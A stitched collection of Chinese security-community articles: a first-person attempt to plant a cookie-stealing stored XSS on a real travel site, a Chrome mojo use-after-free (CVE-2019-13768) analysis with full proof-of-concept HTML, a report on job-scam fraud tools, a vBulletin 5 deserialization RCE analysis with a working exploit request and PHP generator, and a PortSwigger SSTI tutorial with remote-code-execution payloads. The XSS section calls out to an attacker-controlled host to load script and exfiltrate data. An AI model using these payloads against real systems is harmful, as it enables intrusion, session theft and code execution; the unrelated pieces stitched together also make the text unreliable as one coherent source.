编辑页面如上，我首先正常走了一边流程，然后开始一个输入一个输入的测试。首先是标题，输入最简单的xss弹窗payload
`<script>alert(1)</script>`，然后点击预览，提示我有脚本代码
然后我换成svg的payload`<svg/onload=alert(1)>`，点击预览，成功弹窗。
现在，我应该发现了一个xss，而且还是存储型的。
### 转折
我随便填了点游记内容，提交发现需要审核，那么我们的弹窗代码肯定会吓到审核的，铁定过不了，那么我需要把payload换成盗取cookie的payload，但是`<script>`被过滤，我们需要换其他的关键词，我测试了这个[Github项目](https://github.com/s0md3v/AwesomeXSS)上的xss
payload，结果很多payload的关键词都被列入了黑名单
<img src=1 onerror=***>
eval
script
我又尝试了这个payload
<svg/onload="(new Image()).src='//xsspt.com/3hBMQd'">
这个payload会访问我的xss平台项目，但是img标签的src属性并不会去加载脚本，所以也没什么用，我只能去请求一个图片探针，记录referer、IP、浏览器等信息。
同样的，项目里的`<embed
src=//14.rs>`也不能得到cookie，想要利用这个标签执行脚本需要加上属性值`alwaysscript`，但是script又被过滤，所以这个payload也没用。
难道我的xss就只能自娱自乐的self-xss了？
### 柳暗花明？
谷歌一番之后，我又找到了这个非常nice 的payload
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
这个payload没有常见的关键字，非常nice，只要不编码尖括号和引号，这个payload应该很好用，在使用的时候要注意base64编码的正确性，我一开始使用的编码网站有问题，导致编码结果出错，payload执行也出错。
把它改成我的xss平台项目链接之后，预览一下，完美！
网站对你发送了一条消息：呵呵
标题过长？行，我去内容里写，但是提交审核之后，回头去内容，发现内容被篡改了
可以看到，`text/html`中间的斜杠没有了，而且在源码里，空格也被实体编码了，导致整个payload都失效了。
然后，我又尝试了类似的payload
<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
依旧空格被实体编码，于是我把空格换成了反斜杠`/`
<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
结果，居然提示我有非法字符
xss利用失败了呐，今天又是失败的一天呢。
2个xss payload集合
[xss其他标签下的js用法总结大全](http://www.91ri.org/16155.html)
[s0md3v/AwesomXSS](https://github.com/s0md3v/AwesomeXSS) | 社区文章 |
# Chrome UAF漏洞模式浅析（一）：user-defined callback
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前序
本系列将简述一些chrome里相对经久不衰的UAF漏洞模式，并配以一个具体的漏洞分析。
## 基础知识
Chromium通过mojo来在不同的进程之间实现通信，具体的细节参考[官方文档](https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md)，这里笔者仅将我们需要用到的mojo
js IDL部分单独摘出，以供参考。
### Mojo JavaScript Bindings API
#### Getting Started
bindings API被定义在mojo
namespace里，其实现在[mojo_bindings.js](https://source.chromium.org/chromium/chromium/src/+/master:out/Debug/gen/mojo/public/js/mojo_bindings.js)
当bindings generator处理mojom IDL文件时，将会生成对应的mojom.js文件。
假设我们创建一个`//services/echo/public/interfaces/echo.mojom`文件和`//services/echo/public/interfaces/BUILD.gn`
module test.echo.mojom;
interface Echo {
EchoInteger(int32 value) => (int32 result);
};
import("//mojo/public/tools/bindings/mojom.gni")
mojom("interfaces") {
sources = [
"echo.mojom",
]
}
通过构建如下生成target，来生成bindings。
* foo_js JavaScript bindings; 被用在compile-time dependency.
* foo_js_data_deps JavaScript bindings; 被用在run-time dependency.
如果我们编译这个target,这将生成几个source file
ninja -C out/r services/echo/public/interfaces:interfaces_js
其中与js binding相关的是
out/gen/services/echo/public/interfaces/echo.mojom.js
为了使用echo.mojom中的定义，您将需要使用`<script>`标签在html页面中包括两个文件：
* mojo_bindings.js: 注意这个文件必须放在所有的`.mojom.js`文件之前。
* echo.mojom.js
<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...
</script>
#### Interfaces
和C++ bindings API相同的是，我们有
* `mojo.InterfacePtrInfo`和`mojo.InterfaceRequest`封装message pipe的两端，他们分别代表interface连接的client端和service端
* 对于每个Mojom interface Foo，这也生成一个FooPtr类，它保存一个InterfacePtrInfo，提供了使用InterfacePtrInfo中的message pipe handle发送interface call的方法。
* `mojo.Binding`保存一个InterfaceRequest。 它侦听message pipe handle，并将传入的message分发到user-defined的interface实现。
让我们考虑上面的echo.mojom示例。下面显示了如何创建Echo interface connection和使用它进行call。
<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
return Promise.resolve({result: value});
// Promise.resolve('foo')
// 粗略可以理解成，但注意这并不严格等价，只是在这里可以这么理解
// new Promise(resolve => resolve('foo'))
};
var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
new EchoImpl(),
echoServiceRequest);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
console.log('The result is ' + response.result);
});
</script>
##### Interface Pointer and Request
在上面的示例中,test.echo.mojom.EchoPtr是一个interface pointer类，它代表interface
connection的client。对于Echo
Mojom接口中的方法EchoInteger，在EchoPtr中定义了相应的echoInteger方法（注意，生成的method
name的格式为camelCaseWithLowerInitial,即小驼峰,第一个字母小写)
这就是实际生成的[echo.mojom.js](https://source.chromium.org/chromium/chromium/src/+/master:out/win-Debug/gen/mojo/public/interfaces/bindings/tests/echo.mojom.js)
在上面的实例中，echoServiceRequest是一个InterfaceRequest实例，它代表接口连接的server。
mojo.makeRequest创建一个message
pipe，用pipe的一端填充output参数（可以是InterfacePtrInfo或interface
pointer）,返回包装在InterfaceRequest实例中的另一端。
// |output| could be an interface pointer, InterfacePtrInfo or
// AssociatedInterfacePtrInfo.
function makeRequest(output) {
if (output instanceof mojo.AssociatedInterfacePtrInfo) {
var {handle0, handle1} = internal.createPairPendingAssociation();
output.interfaceEndpointHandle = handle0;
output.version = 0;
return new mojo.AssociatedInterfaceRequest(handle1);
}
if (output instanceof mojo.InterfacePtrInfo) {
var pipe = Mojo.createMessagePipe();
output.handle = pipe.handle0;
output.version = 0;
return new mojo.InterfaceRequest(pipe.handle1);
}
var pipe = Mojo.createMessagePipe();
output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
return new mojo.InterfaceRequest(pipe.handle1);
}
##### Binding an InterfaceRequest
mojo.Binding桥接了interface的实现和message pipe的一端，从而将传入的message从server端分派到该实现。
在上面的示例中，echoServiceBinding侦听message
pipe上的传入的EchoInteger方法调用，并将这些调用分派到EchoImpl实例。
// ---------------------------------------------------------------------------
// |request| could be omitted and passed into bind() later.
//
// Example:
//
// // FooImpl implements mojom.Foo.
// function FooImpl() { ... }
// FooImpl.prototype.fooMethod1 = function() { ... }
// FooImpl.prototype.fooMethod2 = function() { ... }
//
// var fooPtr = new mojom.FooPtr();
// var request = makeRequest(fooPtr);
// var binding = new Binding(mojom.Foo, new FooImpl(), request);
// fooPtr.fooMethod1();
function Binding(interfaceType, impl, requestOrHandle) {
this.interfaceType_ = interfaceType;
this.impl_ = impl;
this.router_ = null;
this.interfaceEndpointClient_ = null;
this.stub_ = null;
if (requestOrHandle)
this.bind(requestOrHandle);
}
...
...
Binding.prototype.bind = function(requestOrHandle) {
this.close();
var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
requestOrHandle.handle : requestOrHandle;
if (!(handle instanceof MojoHandle))
return;
this.router_ = new internal.Router(handle);
this.stub_ = new this.interfaceType_.stubClass(this.impl_);
this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
this.stub_, this.interfaceType_.kVersion);
this.interfaceEndpointClient_ .setPayloadValidators([
this.interfaceType_.validateRequest]);
};
##### Receiving Responses
一些mojom接口期待response，例如EchoInteger，对应的js方法返回一个Promise，当service端发回响应时，此Promise将被resolve，如果interface断开连接，则将被reject。
## CVE-2019-13768 Chrome sandbox escape漏洞分析
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1755>
### Root Cause
该漏洞发生在Chrome的FileWriterImpl接口实现上。
首先我们先看一下FileWriter的IDL接口描述
// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
// Write data from |blob| to the given |position| in the file being written
// to. Returns whether the operation succeeded and if so how many bytes were
// written.
// TODO(mek): This might need some way of reporting progress events back to
// the renderer.
Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
uint64 bytes_written); //<-----------bug case
// Write data from |stream| to the given |position| in the file being written
// to. Returns whether the operation succeeded and if so how many bytes were
// written.
// TODO(mek): This might need some way of reporting progress events back to
// the renderer.
WriteStream(uint64 position, handle<data_pipe_consumer> stream) =>
(mojo_base.mojom.FileError result, uint64 bytes_written);
// Changes the length of the file to be |length|. If |length| is larger than
// the current size of the file, the file will be extended, and the extended
// part is filled with null bytes.
Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};
而FileWriter是被FileSystemManager管理的，其有一个CreateWriter方法，可以创建出FileWriter。
`MakeRequest`接收一个`FileWriterPtr writer`作为参数，创建一个message
pipe，并将返回pipe的receiver端。而这里pipe的remote端就和`FileWriterPtr
writer`绑定，等receiver端和FileWriterImpl实例绑定后，就可以通过writer来调用FileWriterImpl里的方法。
然后这里就通过`MakeStrongBinding`来将FileWriterImpl实例和刚刚创建出来的receiver绑定到一起，
**此时FileWriterImpl的生命周期和message pipe绑定，只要message
pipe不断开，则FileWriterImpl永远不会被释放** 。
**所以我们可以用断开message
pipe的方法来析构掉这个对象，这也是生命周期管理不严谨的一种表现，FileWrite并没有被FileSystemManager来管理它的生命周期**
然后通过`std::move(callback).Run`来将`FileWriterPtr
writer`作为response返回给CreateWriter的调用者，这样调用者就可以通过writer来调用FileWriterImpl实例里的方法`FileWriterImpl::Write`了。
// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
// ...
// Creates a writer for the given file at |file_path|.
CreateWriter(url.mojom.Url file_path) =>
(mojo_base.mojom.FileError result,
blink.mojom.FileWriter? writer);
// ...
};
void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
CreateWriterCallback callback) {
DCHECK_CURRENTLY_ON(BrowserThread::IO);
...
blink::mojom::FileWriterPtr writer;
mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
url, context_->CreateFileSystemOperationRunner(),
blob_storage_context_->context()->AsWeakPtr()),
MakeRequest(&writer));
std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}
从mojo接口可以看出`FileWriterImpl::Write`的第二个参数是一个BlobPtr。
**注意我们是可以在js层构造一个BlobPtr传入的**
这里的`base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
std::move(callback),
position));`其实就是创建一个callback对象，在callback执行的时候，它将调用`FileWriterImpl::DoWrite`函数，并依次传入`base::Unretained(this),std::move(callback),
position)`作为参数，对应于`this,WriteCallback callback,uint64_t position`
Write将调用GetBlobDataFromBlobPtr函数，并将一个 **用户可控的blob** 和`FileWriterImpl::DoWrite`
callback传入，这里记做callback1。
void FileWriterImpl::Write(uint64_t position,
blink::mojom::BlobPtr blob,
WriteCallback callback) {
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
std::move(callback), position));
}
...
void FileWriterImpl::DoWrite(WriteCallback callback,
uint64_t position,
std::unique_ptr<BlobDataHandle> blob) {
...
}
最后我们来看一下GetBlobDataFromBlobPtr函数，其调用 **raw_blob->GetInternalUUID**函数，因为blob是我们传入的，所以GetInternalUUID也是对应我们自己定义好的js函数，它只需要满足mojo
idl接口即可，将一个`string uuid`作为response返回。
**此时我们就可以回调到js里，并在js函数GetInternalUUID里将之前建立好的message
pipe给断开，从而析构掉之前创建出的FileWriterImpl对象**
// This interface provides access to a blob in the blob system.
interface Blob {
// Creates a copy of this Blob reference.
Clone(Blob& blob);
// This method is an implementation detail of the blob system. You should not
// ever need to call it directly.
// This returns the internal UUID of the blob, used by the blob system to
// identify the blob.
GetInternalUUID() => (string uuid);
}
...
...
function BlobImpl() {
this.binding = new mojo.Binding(blink.mojom.Blob, this);
}
BlobImpl.prototype = {
clone: async (arg0) => {
console.log('clone');
},
asDataPipeGetter: async (arg0, arg1) => {
console.log("asDataPipeGetter");
},
readAll: async (arg0, arg1) => {
console.log("readAll");
},
readRange: async (arg0, arg1, arg2, arg3) => {
console.log("readRange");
},
readSideData: async (arg0) => {
console.log("readSideData");
},
getInternalUUID: async (arg0) => {
console.log("getInternalUUID");
create_writer_result.writer.ptr.reset();
return {'uuid': 'blob_0'};
}
};
回到`raw_blob->GetInternalUUID`，其参数是一个callback，这里记做callback2，callback2最终就是调用callback1，并将从uuid得到的BlobData，作为callback1，即DoWrite的最后一个参数`std::unique_ptr<BlobDataHandle>
blob`。
...
void BlobStorageContext::GetBlobDataFromBlobPtr(
blink::mojom::BlobPtr blob,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
DCHECK(blob);
blink::mojom::Blob* raw_blob = blob.get();
raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
base::BindOnce(
[](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
const std::string& uuid) {
...
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
},//---> 类似于函数指针
std::move(blob), AsWeakPtr(), std::move(callback)),
""));
}
现在我们将调用callback1回调`FileWriterImpl::DoWrite`，而此时，因为FileWriterImpl实例已经在回调到js里时析构掉了，所以就触发了UAF。
这个漏洞的一个关键就是callback1的参数`base::Unretained(this)`，被Unretained修饰的this指针，只由回调的调用者来保证回调执行时，this指针仍然可用。
这里如果换成WeakPtr，那么在this被析构后，回调就不会被执行。
### poc
<html>
<body>
<script src="/mojo_bindings.js"></script>
<script src="/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script src="/third_party/blink/public/mojom/filesystem/file_system.mojom.js"></script>
<script>
(async function poc() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process");
function BytesProviderImpl() {
this.binding = new mojo.Binding(blink.mojom.BytesProvider, this);
}
BytesProviderImpl.prototype = {
requestAsReply: async () => {
console.log('requestAsReply');
},
requestAsStream: async (arg0) => {
console.log('requestAsStream');
},
requestAsFile: async (arg0, arg1, arg2, arg3) => {
console.log('requestAsFile');
}
};
base_bytes = new BytesProviderImpl();
base_bytes_ptr = new blink.mojom.BytesProviderPtr();
base_bytes.binding.bind(mojo.makeRequest(base_bytes_ptr));
let base_blob_element = new blink.mojom.DataElement();
base_blob_element.bytes = new blink.mojom.DataElementBytes();
base_blob_element.bytes.length = 2;
base_blob_element.bytes.embeddedData = [0x41, 0x41];
base_blob_element.bytes.data = base_bytes_ptr;
let base_blob_ptr = new blink.mojom.BlobPtr();
let base_blob_req = mojo.makeRequest(base_blob_ptr);
blob_registry_ptr.register(base_blob_req, "blob_0", "text/html", "", [base_blob_element]);
let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
Mojo.bindInterface(blink.mojom.FileSystemManager.name,
mojo.makeRequest(file_system_manager_ptr).handle, "process");
let host_url = new url.mojom.Url();
host_url.url = 'http://localhost:7007';
let open_result = await file_system_manager_ptr.open(host_url, 0);
console.log(open_result);
let file_url = new url.mojom.Url();
file_url.url = open_result.rootUrl.url + '/pwned';
let create_writer_result = await file_system_manager_ptr.createWriter(file_url);
console.log(create_writer_result);
function BlobImpl() {
this.binding = new mojo.Binding(blink.mojom.Blob, this);
}
BlobImpl.prototype = {
clone: async (arg0) => {
console.log('clone');
},
asDataPipeGetter: async (arg0, arg1) => {
console.log("asDataPipeGetter");
},
readAll: async (arg0, arg1) => {
console.log("readAll");
},
readRange: async (arg0, arg1, arg2, arg3) => {
console.log("readRange");
},
readSideData: async (arg0) => {
console.log("readSideData");
},
getInternalUUID: async (arg0) => {
console.log("getInternalUUID");
create_writer_result.writer.ptr.reset();
return {'uuid': 'blob_0'};
}
};
let blob_impl = new BlobImpl();
let blob_impl_ptr = new blink.mojom.BlobPtr();
blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));
create_writer_result.writer.write(0, blob_impl_ptr);
})();
</script>
</body>
</html>
### patch
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
- base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
+ base::BindOnce(&FileWriterImpl::DoWrite, weak_ptr_factory_.GetWeakPtr(),
std::move(callback), position));
补丁就是把`base::Unretained(this)`换成了`weak_ptr_factory_.GetWeakPtr()`，这样如果当前FileWriterImpl实例被析构掉了，则`&FileWriterImpl::DoWrite`回调不会被调用。
## 后记
本篇主要是笔者以前分析漏洞时候的笔记摘录修改，如有不明确之处，欢迎斧正。 | 社区文章 |
# 会用工具有多可怕，分分钟伪造100万转账截图
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，360手机先赔接到用户反馈，兼职网赚被骗上万元。通过对诈骗过程的分析挖掘，尝试对刷单诈骗背后涉及的黑灰产链条及诈骗工具做分析。
## 案例经过
用户在朋友圈看到“短视频点赞”的网赚信息，添加了指定的微信公众号。在客服的引导下，进行了短视频点赞，之后对方表示点赞单子少，给用户介绍高佣金的电商平台刷单。
用户按照要求，在应用商店下载了指定聊天软件，并添加工作人员账号。随后又下载了“天猫众包”APP。应用内首次充值300元，刷单后正常体现483元；第二次充值1200元，刷单后正常提现1314元；第三次刷单后，系统提示需要继续充值才可提现，用户累计充值17600元后还要继续充值12000才可以提现，得知受骗。
## 刷单诈骗背后的黑灰产业链及诈骗工具分析
**涉诈APP来源**
通过APP内嵌的钓鱼网址，发现其使用的封装平台，与常见的封装平台不同之处在于，此封装平台偏灰产，与博彩行业的包网平台很像，提供防洪域名、SSL证书、服务器、APP策划开发、安卓市场发布一站式服务。
**涉诈应用特征**
①需使用邀请码注册
②一台服务器绑定多个涉诈域名，每个域名再生成一个涉诈应用
③网站特征：非手机端限制访问
微信引流至小众聊天软件，在小众聊天软件中，向受害人提供涉诈APP，发布兼职任务，诱骗受害人在APP内充值。
**诈骗工具分析**
**聊天生成器、转账截图生成器**
为了宣传引流，诈骗团伙会使用微信聊天生成器、转账截图生成器工具伪造兼职赚取高佣金的截图。
**客服软件**
批量聊天神器，多人共享一套话术，兼容QQ微信千牛等多平台的一键回复工具。此类工具，在诈骗场景中，被用于批量群发引流获客、客户管理。
**快递单号网**
提供快递单号买卖的网站，可根据发货地、收货地，快递类型购买快递单号。此类平台主要售卖的是空包裹单号（真实的物流信息），在部分诈骗场景中，为了让用户相信刷单的真实性，诈骗团伙也会使用此类空包裹单。
## 安全课堂
兼职诈骗呈现产业化趋势，包装、传播、导流等整个过程手法成熟，聊天截图、转账截图等伪造细节很容易迷惑，使用户轻信从而被骗会员费。360手机卫士提醒广大用户：不要轻信高佣金、高回报的网络兼职任务，一切收取会员费的大多都是骗子！ | 社区文章 |
这漏洞是我在分析 vBulletin5.X前台RCE（CVE-2019-16759）时，无意间搜到的，就顺便学习下。
这里我不会再赘述环境的搭建，因为在上篇分析文章中已经提过了，具体可参考
[vBulletin5.X前台RCE分析（CVE-2019-16759）](https://mochazz.github.io/2019/10/06/vBulletin5.X%E5%89%8D%E5%8F%B0RCE/)
，本文的测试环境仍为 **Ubuntu16.04+Apache+PHP 5.6.40+vBulletin5.1.4** 。
## 漏洞分析
我们先来看下本次漏洞的 **EXP** ，可以发现其存在反序列化字符串，估计是个 **反序列化- >代码执行** 的攻击链。
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1
Host: 192.168.0.106
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
接下来，我们直接从入口文件开始跟进。在下图 **第38行** 处下断点，当我们直接单步跳过时，会发现代码执行漏洞被触发了，说明漏洞代码应该在
**vB5_Frontend_ApplicationLight** 类的 **execute** 方法中。在 **execute**
方法的上一行，程序会根据 **$_REQUEST['routestring']** 来决定之后调用
**vB5_Frontend_ApplicationLight** 类的哪个方法，具体代码如下图所示。
由于我们的 **$_REQUEST['routestring']** 是 **ajax/api/hook/decodeArguments** ，程序就会调用
**vB5_Frontend_ApplicationLight** 类的 **handleAjaxApi** 方法。然后经过一系列反射调用，就进入了
**vB_Api_Hook** 类的 **decodeArguments** 方法。
在 **decodeArguments** 方法中，我们看到了之前 **GET**
方式传进来的数据被反序列化了，这就存在实例化任意类问题。程序还对反序列化后的数据进行了迭代，而当对一个继承了 **Iterator**
接口的类对象进行迭代时，会触发其 **rewind** 方法。
我们可以搜寻可利用的 **rewind** 方法，这里以 **vB_dB_Result** 类的 **rewind** 为例。当我们设置了 **$this->recordset** 属性的时候，就会调用 **$this- >db** 类的 **free_result** 方法。我们继续搜
**free_result** 方法，会发现 **vB_Database** 类的 **free_result**
方法可以动态调用任意函数，且参数也可控。由于 **vB_Database** 类是一个抽象类，所以我们只要找到其继承类即可开始构造 **EXP** 。
最终 **EXP** 构造如下：
<?php
class vB_Database_MySQLi
{
var $functions = array();
public function __construct($functions = '')
{
$this->functions['free_result'] = $functions;
}
}
class vB_dB_Result
{
protected $db = false;
protected $recordset = false;
public function __construct($db='', $recordset='')
{
$this->db = $db;
$this->recordset = $recordset;
}
}
$vb_database_mysqli = new vB_Database_MySQLi('system');
$vb_db_result = new vB_dB_Result($vb_database_mysqli, 'id');
echo urlencode(serialize($vb_db_result));
## 参考
[vBulletin 5 全版本远程代码执行漏洞分析](https://www.anquanke.com/post/id/82870)
[Check Point Discovers Critical vBulletin
0-Day](https://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/) | 社区文章 |
# 梨子带你刷burpsuite靶场系列之高级漏洞篇 - 服务器端模板注入(SSTI)专题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 高级漏洞篇介绍
> 相对于服务器端漏洞篇和客户端漏洞篇，高级漏洞篇需要更深入的知识以及更复杂的利用手段，该篇也是梨子的全程学习记录，力求把漏洞原理及利用等讲的通俗易懂。
## 高级漏洞篇 – 服务器端模板注入(SSTI)专题
### 什么是服务器端模板注入(SSTI)？
SSTI就是攻击者利用原生模板语法将恶意payload注入到可以在服务器端执行的模板中的过程。模板引擎就是将固定的模板与可变化的数据结合构建网页，当模板引擎将用户输入直接与固定模板拼接时可能存在SSTI漏洞。注入的恶意payload甚至可以控制服务器，所以服务端的漏洞危害比客户端的漏洞大很多。
### SSTI漏洞是如何产生的？
就像Sql注入一样，并没有将语句和数据区分开，导致他们被当成一个整体了，SSTI也是，并没有将模板与数据区分开，就可能导致我注入的数据也可能会变成模板的一部分甚至其他的代码部分被执行。举个例子，我们要批量发送邮件，只需要替换收件人，使用twig模板引擎的语句像这样
`$output = $twig->render("Dear {first_name},", array("first_name" =>
$user.first_name) );`
我们看到这里并不会导致SSTI漏洞，因为它将模板和数据区分开了，不会被当成一个整体解析。但是如果像这样
`$output = $twig->render("Dear " . $_GET['name']);`
直接将输入拼接成一整个字符串去解析，这就很容易导致SSTI漏洞。有的时候这样使用模板是为了方便特权用户，但是一旦这种方式被攻击者知道就可能会发起精心设计的攻击。
### 如何构造SSTI攻击？
**探测**
burp介绍，最简单的方法就是fuzz测试，通过像这样的使用模糊模板语句
`${{<%[%'"}}%\`
如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法，然而ssti漏洞会出现在两个不同的上下文中，并且需要使用各自的检测方法来进一步检测ssti漏洞
**纯文字上下文**
有的模板引擎会将模板语句渲染成HTML，例如Freemarker
`render('Hello' + username) --> Hello Apce`
因为会渲染成HTML，所以这还可以导致XSS漏洞。但是模板引擎会自动执行数学运算，的，所以如果我们输入一个运算，例如
`http://vulnerable-website.com/?username=${7*7}`
如果模板引擎最后返回Hello 49则说明存在SSTI漏洞。而且不同的模板引擎的数学运算的语法有些不同，还需要查阅相关资料的。
**代码上下文**
我们关注这样一段代码，同样是用来生成邮件的
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
上面代码通过获取静态查询参数greeting的值然后再填充到模板语句中，但是就像sql注入一样，如果我们提前将双花括号闭合，然后就可以注入自定义的语句了。
## 识别
当我们探测到潜在的SSTI漏洞后，我们下一步就是要识别使用的是哪一款模板引擎了。比较常见的做法可以是故意触发报错即可知道，例如输入无效的表达式<%=foobar%>，然后得到这样的报错信息
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
从上面得知使用的是基于Ruby的ERB引擎。但是如果这种方法不生效怎么办，我们可以通过执行不同语法的数学运算观察结果，burp直接给了一张很详细的图
有的时候相同的payload可能会有两种响应，比如{{7*’7’}}在Twig中会的到49，而在Jinja2中会得到7777777。
## 利用
在我们确定目标使用的模板引擎后，我们想要成功发动SSTI攻击往往需要以下步骤
* 阅读模板引擎语法、安全文档、已知利用文章
* 探索环境
* 构造自定义利用
### 阅读
**学习基础模板语法**
学习基本语法、关键函数和变量处理是非常关键的，连这些都不会，就也没办法编写相应的payload了。比如如果我们知道了使用的是基于python的Mako模板引擎，我们可以编写这样的payload。
<%
import os
x=os.popen('id').read()
%>
${x}
我们可以看到就是利用最基础的语法写的，所以这个环节也是很关键的。这段代码可以在非沙箱环境中实现远程代码执行，包括读取、编辑或删除任意文件。下面我们通过两道靶场来深入理解
**配套靶场1：基础SSTI**
题目告诉我们模板引擎是ERB，然后我们去查一下ERB的文档发现语法为
然后我们将表达式模板语句写到message参数中，使用常用的数学表达式来进行检测
说明模板引擎会去执行表达式，然后通过搜索引擎查到ruby语言执行操作系统命令的函数是system()，于是我们就可以在模板表达式中执行操作系统命令了
我们看到模板引擎成功地执行了ls命令，看到了我们要删除的文件，于是执行删除命令即可
**配套靶场2：基础SSTI(上下文为代码)**
首先我们登录用户，然后在用户设置里发现了一个修改显示的名称的功能，于是我们搜索了一下Tornado模板引擎的语法，然后构造如下payload
然后我们随便发表一个评论，看一下显示的名称有没有变化
说明这里存在ssti漏洞，然后就可以用类似的语法删除指定文件了
然后在评论区刷新以后就会执行payload了
**了解安全文档**
有时候官方文档除了会提供模板引擎的基础语法外，还会设置很多警示项以帮助开发者提高系统安全性，但是往往这些警示项也会为攻击者提供思路。例如ERB引擎的安全文档指出可以列出所有目录，然后按如下方式读取任意文件
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
**配套靶场：利用文档发动SSTI攻击**
首先因为题目中没有告诉我们这是哪一款模板引擎，所以我们要让它们使用的模板语句故意报错，从报错信息中我们一般可以知道使用的是哪种模板引擎，在编辑模板的${}模板表达式中随便输入些什么，就会触发报错
然后我们就可以对症下药了，我们需要去查阅一下相关的文档，看看有没有相关警示项，我们直接去搜freemarker
ssti，找到一个利用内置函数执行os命令，payload模板如下
`<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("[payload]")}`
于是我们在编辑模板的地方将payload写入模板表达式
这样当模板引擎执行表达式的时候就会执行删除命令了
**查找已知利用文章**
顾名思义，就是当知道使用的是哪种模板引擎后可以利用搜索引擎查找是否有前人总结的漏洞利用方法，这样可以节约很多查阅文档的时间
**配套靶场：利用已知利用文章发动未知语言的SSTI攻击**
因为不知道使用的是哪一款模板引擎，所以我们需要输入各种版本的错误模板表达式以触发报错
然后我们就利用搜索引擎查找一下有没有相关的现成的利用方式，搜到了一个知名的payload模板
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('[payload]');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
因为是通过传入GET参数传入payload，所以我们需要将整个payload做一个URL编码
**探索**
